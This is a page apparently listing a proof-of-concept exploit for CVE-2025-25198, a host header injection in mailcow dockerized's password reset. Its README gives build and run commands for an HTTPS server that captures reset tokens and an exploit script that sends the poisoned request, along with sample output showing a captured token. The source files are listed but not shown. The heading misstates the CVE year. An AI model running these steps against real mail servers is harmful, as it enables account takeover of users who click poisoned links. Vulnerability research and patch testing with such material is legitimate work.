CVE-2025-25198 PoC — mailcow dockerized 输入验证错误漏洞

Source

Associated Vulnerability

Description

Captures password reset tokens from Mailcow Host header injection attacks. 

Readme

# CVE-2024-25198

mailcow: dockerized is an open source groupware/email suite based on docker. Prior to version 2025-01a, a vulnerability in mailcow's password reset functionality allows an attacker to manipulate the `Host HTTP` header to generate a password reset link pointing to an attacker-controlled domain. This can lead to account takeover if a user clicks the poisoned link. 

## How works?
Sets up an https server to hear al requests and sends a POST Request to the website with the Host header with your selected <IP>. You can also use Burpsuite to send the request and get the Token in the server.

## Features

- HTTPS server that retrieves the Password Change Token
- Exploit script that attacks the website vulnerability.
- Fixed Everything and no longer requires openssl to work 

## Prerequisites

- Go 1.16 or higher

## Server Script

```bash
git clone https://github.com/enzocipher/CVE-2025-25198.git
cd CVE-2025-25198
sudo go build -o https-server server.go
./https-server
```

## Exploit Script
```bash
go mod init exploit
go mod tidy
sudo go run exploit.go --base <url> --username <user@email.com> --host <ip>:<port>  <--insecure | optional >
```

After waiting a bit the server will output the token that you can use :
```
Redirigiendo a: http://mi-dominio.com/reset-password?token=F53F8F-CC7A5B-E0CC4C-98680B-A72245
```

File Snapshot

 [4.0K]  /data/pocs/c7e7bb265ad218825ec6b6a15e01539e98588763
├── [3.4K]  exploit.go
├── [1.0K]  LICENSE
├── [1.3K]  README.md
└── [5.6K]  server.go

1 directory, 4 files

Remarks